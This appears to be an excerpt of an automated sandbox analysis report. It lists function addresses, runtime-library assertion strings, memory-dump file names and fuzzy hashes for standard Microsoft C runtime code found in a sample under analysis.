Uniqueness Score: -1.00%

Function 00007FF6EA847C60 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

Strings

result != nullptr, xrefs: 00007FF6EA847CB0, 00007FF6EA847D24
common_fstat, xrefs: 00007FF6EA847D1D, 00007FF6EA847E37, 00007FF6EA847F16
fh >= 0 && fh < _nhandle, xrefs: 00007FF6EA847DCA, 00007FF6EA847E3E
%ls, xrefs: 00007FF6EA847CBC, 00007FF6EA847DD6, 00007FF6EA847EB5
_osfile(fh) & FOPEN, xrefs: 00007FF6EA847EA9, 00007FF6EA847F1D
minkernel\crts\ucrt\src\appcrt\filesystem\stat.cpp, xrefs: 00007FF6EA847CD1, 00007FF6EA847D16, 00007FF6EA847DEB, 00007FF6EA847E30, 00007FF6EA847ECA, 00007FF6EA847F0F

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$_osfile(fh) & FOPEN$common_fstat$fh >= 0 && fh < _nhandle$minkernel\crts\ucrt\src\appcrt\filesystem\stat.cpp$result != nullptr
API String ID: 0-1967817721
Opcode ID: 11d943071b47000399c3ec9c5298a8c0be57c6df0dd5b87c9fad254c4b8dff80
Instruction ID: b07ae2433159dcd67dcb2bb95746d755edf7dec979a3f0d404cf4219885cc915
Opcode Fuzzy Hash: 11d943071b47000399c3ec9c5298a8c0be57c6df0dd5b87c9fad254c4b8dff80
Instruction Fuzzy Hash: EF818F3391C6828AEB60DF50E4843AA77A5FB80354F400275E68DC76D5DF7ED949CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA848040 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

Strings

result != nullptr, xrefs: 00007FF6EA848090, 00007FF6EA848104
common_fstat, xrefs: 00007FF6EA8480FD, 00007FF6EA848217, 00007FF6EA8482F6
fh >= 0 && fh < _nhandle, xrefs: 00007FF6EA8481AA, 00007FF6EA84821E
%ls, xrefs: 00007FF6EA84809C, 00007FF6EA8481B6, 00007FF6EA848295
_osfile(fh) & FOPEN, xrefs: 00007FF6EA848289, 00007FF6EA8482FD
minkernel\crts\ucrt\src\appcrt\filesystem\stat.cpp, xrefs: 00007FF6EA8480B1, 00007FF6EA8480F6, 00007FF6EA8481CB, 00007FF6EA848210, 00007FF6EA8482AA, 00007FF6EA8482EF

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$_osfile(fh) & FOPEN$common_fstat$fh >= 0 && fh < _nhandle$minkernel\crts\ucrt\src\appcrt\filesystem\stat.cpp$result != nullptr
API String ID: 0-1967817721
Opcode ID: c83d22469cf00a25a18310fe0e116f906886d02ee8684a0e7275576e9d84d0e8
Instruction ID: 0da6ca03f353f8af5bc82723bcede51c5d9cff0c3f50e3c808a7b41d4fc9e88a
Opcode Fuzzy Hash: c83d22469cf00a25a18310fe0e116f906886d02ee8684a0e7275576e9d84d0e8
Instruction Fuzzy Hash: 1381B23391C6828AEB609F50E4843AA77A5FB80354F800176E68DC77E5DF7ED545CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA70807A Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 489COMMON

Download Yara Rule

APIs

fix_grouping.LIBCMTD ref: 00007FF6EA8E824B

Strings

ploci->lconv_mon_refcount > 0, xrefs: 00007FF6EA8E8374
minkernel\crts\ucrt\src\appcrt\locale\initmon.cpp, xrefs: 00007FF6EA8E8395
b, xrefs: 00007FF6EA8E7D00
%ls, xrefs: 00007FF6EA8E8380
minkernel\crts\ucrt\src\appcrt\locale\initmon.cpp, xrefs: 00007FF6EA8E7BD1, 00007FF6EA8E7C55, 00007FF6EA8E7D08

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: fix_grouping
String ID: %ls$b$minkernel\crts\ucrt\src\appcrt\locale\initmon.cpp$minkernel\crts\ucrt\src\appcrt\locale\initmon.cpp$ploci->lconv_mon_refcount > 0
API String ID: 2995696768-3874830589
Opcode ID: 08c1ecb258d8ce07c96411332390980e43afc60b77f32a31762421af8261669c
Instruction ID: 2de6d7a8874d2b323be7d87bccc8376d16b548eddfd1583d1977daa3fc7794e3
Opcode Fuzzy Hash: 08c1ecb258d8ce07c96411332390980e43afc60b77f32a31762421af8261669c
Instruction Fuzzy Hash: 92320B36628A8186EB50CB19E4917AAB7A0F7C4784F004136FACEC7B99DF7ED441CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8D6660 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 410COMMONLIBRARYCODE

Download Yara Rule

Strings

pwcs != nullptr, xrefs: 00007FF6EA8D66F4, 00007FF6EA8D675D
minkernel\crts\ucrt\src\appcrt\convert\wcstombs.cpp, xrefs: 00007FF6EA8D6715, 00007FF6EA8D674F
%ls, xrefs: 00007FF6EA8D6700
_wcstombs_l_helper, xrefs: 00007FF6EA8D6756

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$_wcstombs_l_helper$minkernel\crts\ucrt\src\appcrt\convert\wcstombs.cpp$pwcs != nullptr
API String ID: 0-287901994
Opcode ID: 993211baba84052c92c1f48cdcc19bbf27eb40a2b00dc7ab5cf9915db5114769
Instruction ID: 982a688e146b2a00713583d3856b5ef3bc6bac1c14df1837521421bf98f0c44e
Opcode Fuzzy Hash: 993211baba84052c92c1f48cdcc19bbf27eb40a2b00dc7ab5cf9915db5114769
Instruction Fuzzy Hash: 83221933A0CA8585EA60DF14E4803ABB7A0FB84760F504276E69D87BE9DF7ED454CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA8A7D30 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 176COMMON

Download Yara Rule

Strings

minkernel\crts\ucrt\src\appcrt\startup\argv_parsing.cpp, xrefs: 00007FF6EA8A7DA2, 00007FF6EA8A7DDC
common_configure_argv, xrefs: 00007FF6EA8A7DE3
%ls, xrefs: 00007FF6EA8A7D8D
mode == _crt_argv_expanded_arguments || mode == _crt_argv_unexpanded_arguments, xrefs: 00007FF6EA8A7D81, 00007FF6EA8A7DEA

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$common_configure_argv$minkernel\crts\ucrt\src\appcrt\startup\argv_parsing.cpp$mode == _crt_argv_expanded_arguments || mode == _crt_argv_unexpanded_arguments
API String ID: 0-3792389471
Opcode ID: b4829e63405a8f27d7085f433d31e3597a1cdffc6f1ffab031ae1f0223e13606
Instruction ID: cebcd64bddc1c3100f6bb46265151247f2dc0216f2d384f55e4c79dbb7b2de42
Opcode Fuzzy Hash: b4829e63405a8f27d7085f433d31e3597a1cdffc6f1ffab031ae1f0223e13606
Instruction Fuzzy Hash: 29911B37A1C68186EB60DF14E4913ABB3A1FBC0740F404176E68DC2AA9EF7ED554CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA700744 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 100COMMON

Download Yara Rule

Strings

(_osfile(fh) & FOPEN), xrefs: 00007FF6EA8CB0BA, 00007FF6EA8CB123
(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 00007FF6EA8CAFEC, 00007FF6EA8CB055
_commit, xrefs: 00007FF6EA8CB04E, 00007FF6EA8CB11C
%ls, xrefs: 00007FF6EA8CAFF8, 00007FF6EA8CB0C6
minkernel\crts\ucrt\src\appcrt\lowio\commit.cpp, xrefs: 00007FF6EA8CB00D, 00007FF6EA8CB047, 00007FF6EA8CB0DB, 00007FF6EA8CB115

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID:
String ID: %ls$(_osfile(fh) & FOPEN)$(fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_commit$minkernel\crts\ucrt\src\appcrt\lowio\commit.cpp
API String ID: 0-1026578051
Opcode ID: c26f22dcfb05c112c1caa03cd8a6e0635be2c6edd22e18317f9cd23b3464f046
Instruction ID: eb11981a2f5d8111044b14763d9a624352977da57b8c2f50c90ab8d9d1dc9d6a
Opcode Fuzzy Hash: c26f22dcfb05c112c1caa03cd8a6e0635be2c6edd22e18317f9cd23b3464f046
Instruction Fuzzy Hash: A0518D73A28A428AEB108F10E48436A77A1FB80354F504272F65ECB6D5DF3EE4048F4B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA836B70 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Fac_node::_Fac_node.LIBCPMTD ref: 00007FF6EA836CDF

Strings

minkernel\crts\ucrt\src\appcrt\misc\dbgrpt.cpp, xrefs: 00007FF6EA836BCD, 00007FF6EA836C07, 00007FF6EA836C75, 00007FF6EA836CAF
common_set_report_hook, xrefs: 00007FF6EA836C0E, 00007FF6EA836CB6
%ls, xrefs: 00007FF6EA836BB8, 00007FF6EA836C60
mode == _CRT_RPTHOOK_INSTALL || mode == _CRT_RPTHOOK_REMOVE, xrefs: 00007FF6EA836BAC, 00007FF6EA836C15
new_hook != nullptr, xrefs: 00007FF6EA836C54, 00007FF6EA836CBD

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: Fac_nodeFac_node::_std::_
String ID: %ls$common_set_report_hook$minkernel\crts\ucrt\src\appcrt\misc\dbgrpt.cpp$mode == _CRT_RPTHOOK_INSTALL || mode == _CRT_RPTHOOK_REMOVE$new_hook != nullptr
API String ID: 1114552684-2008714909
Opcode ID: e169be5d050e7ffabb8d45abe24da96d5ebe4aae60765a1bafee8743160605a4
Instruction ID: 93c253a2736866c9607e2bebf0c0884e17b30ef46b21e6cb4e69bb6174ae34f2
Opcode Fuzzy Hash: e169be5d050e7ffabb8d45abe24da96d5ebe4aae60765a1bafee8743160605a4
Instruction Fuzzy Hash: CC418E3391C6078AEB608F14E48836B77A1FB80344F4011B5E59DC6AA5DF7EE549CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA836D60 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Fac_node::_Fac_node.LIBCPMTD ref: 00007FF6EA836ECF

Strings

minkernel\crts\ucrt\src\appcrt\misc\dbgrpt.cpp, xrefs: 00007FF6EA836DBD, 00007FF6EA836DF7, 00007FF6EA836E65, 00007FF6EA836E9F
common_set_report_hook, xrefs: 00007FF6EA836DFE, 00007FF6EA836EA6
%ls, xrefs: 00007FF6EA836DA8, 00007FF6EA836E50
mode == _CRT_RPTHOOK_INSTALL || mode == _CRT_RPTHOOK_REMOVE, xrefs: 00007FF6EA836D9C, 00007FF6EA836E05
new_hook != nullptr, xrefs: 00007FF6EA836E44, 00007FF6EA836EAD

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: Fac_nodeFac_node::_std::_
String ID: %ls$common_set_report_hook$minkernel\crts\ucrt\src\appcrt\misc\dbgrpt.cpp$mode == _CRT_RPTHOOK_INSTALL || mode == _CRT_RPTHOOK_REMOVE$new_hook != nullptr
API String ID: 1114552684-2008714909
Opcode ID: 4c5c14152b6857a0a3a7c1f178544e5636a758b8e8579a3686f535e3c5d1d8ce
Instruction ID: b08db0e4ccbaec3cbc4b441b0b1f359eebdb380942b2acdd76bb3bcac1fa6df3
Opcode Fuzzy Hash: 4c5c14152b6857a0a3a7c1f178544e5636a758b8e8579a3686f535e3c5d1d8ce
Instruction Fuzzy Hash: AF419F339186038AEB60AF10E4883AB77A1FB40354F4011B5E29D866A5DF7FE549CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA904F40 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_abstract_cw.LIBCMTD ref: 00007FF6EA904FAD
_hw_cw.LIBCMTD ref: 00007FF6EA904FEA
_abstract_cw.LIBCMTD ref: 00007FF6EA90504A

Strings

(mask&~(_MCW_DN|_MCW_EM|_MCW_RC))==0, xrefs: 00007FF6EA904F59
minkernel\crts\ucrt\src\appcrt\tran\amd64\ieee.c, xrefs: 00007FF6EA904F7A
%ls, xrefs: 00007FF6EA904F65

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749896597.00007FF6EA9AA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749906965.00007FF6EA9AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9B3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749915616.00007FF6EA9CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749941494.00007FF6EA9D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ea600000_malware.jbxd

Similarity

API ID: _abstract_cw$_hw_cw
String ID: %ls$(mask&~(_MCW_DN|_MCW_EM|_MCW_RC))==0$minkernel\crts\ucrt\src\appcrt\tran\amd64\ieee.c
API String ID: 787819578-4254588316
Opcode ID: 56944798429c323669224efa8efb379d08f1b298fdd726564ea89a10d9daebaa
Instruction ID: 967138d1669788786d3dae82ab259529afd2cddda71a5cae4604be4141577b67
Opcode Fuzzy Hash: 56944798429c323669224efa8efb379d08f1b298fdd726564ea89a10d9daebaa
Instruction Fuzzy Hash: BD31ED37A3C6428BD754DB24E48162A77E1EB84780F405075F68AC669AEF2EEC00CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6EA84F168 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 54COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32 ref: 00007FF6EA84F21C

Strings

%ls, xrefs: 00007FF6EA84F1A7
("Invalid Drive Index" ,0), xrefs: 00007FF6EA84F18E
is_valid_drive, xrefs: 00007FF6EA84F1D4
minkernel\crts\ucrt\src\desktopcrt\misc\getcwd.cpp, xrefs: 00007FF6EA84F19A, 00007FF6EA84F1CD
:, xrefs: 00007FF6EA84F205

Memory Dump Source

Source File: 00000000.00000002.749484031.00007FF6EA718000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6EA600000, based on PE: true

Associated: 00000000.00000002.749467073.00007FF6EA600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA700000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA712000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA90F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749484031.00007FF6EA91D000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA91F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA97D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749807618.00007FF6EA9A7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.749888220.00007FF6EA9A9000.00000004.00000001.01000000.00000003.sdmpDownload File
